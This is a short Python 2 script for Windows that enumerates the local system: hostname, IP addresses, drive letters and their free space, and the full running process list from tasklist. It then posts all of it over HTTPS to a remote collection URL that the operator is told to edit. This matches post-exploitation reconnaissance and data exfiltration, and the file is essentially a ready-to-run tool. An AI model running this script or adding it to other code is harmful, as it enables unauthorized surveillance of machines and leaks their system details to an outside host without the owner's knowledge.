#!/usr/bin/env python

# This script enumerates information from the local system

import ctypes
import os
import socket
import string
import subprocess
import urllib2

# URL - You obviously need to edit this, just the IP/domain
url = "https://192.168.1.1/post_enum_data.php"

# Enumerate IP addresses and hostname
host, alias, ip = socket.gethostbyname_ex(socket.gethostname())

# Get full hostname (including domain if applicable)
host = socket.getfqdn()

# Enumerate system drives
drive_space = {}
drives = []
bitmask = ctypes.windll.kernel32.GetLogicalDrives()
for letter in string.uppercase:
    if bitmask & 1:
        drives.append(letter)
    bitmask >>= 1

# get username based off of environmental variable
# might not be true, but probably us
username = os.getenv('USERNAME')

# Get space per drive
for drive_letter in drives:
    free_bytes = ctypes.c_ulonglong(0)
    ctypes.windll.kernel32.GetDiskFreeSpaceExW(
        ctypes.c_wchar_p(drive_letter + ":"), None, None, ctypes.pointer(
            free_bytes))
    free_megs = free_bytes.value / 1024 / 1024
    drive_space[drive_letter] = free_megs

# Get running processes
tasklist_output = subprocess.check_output("tasklist")

data_to_transmit = "hostname - " + str(host) + "\nIP Address(es) - " + str(ip) + "\nSystem Drives and Free Space in Megs - " + str(drive_space) + "\nTasklist Output - " + tasklist_output

# Post the data over https
f = urllib2.urlopen(url, data_to_transmit)
f.close()
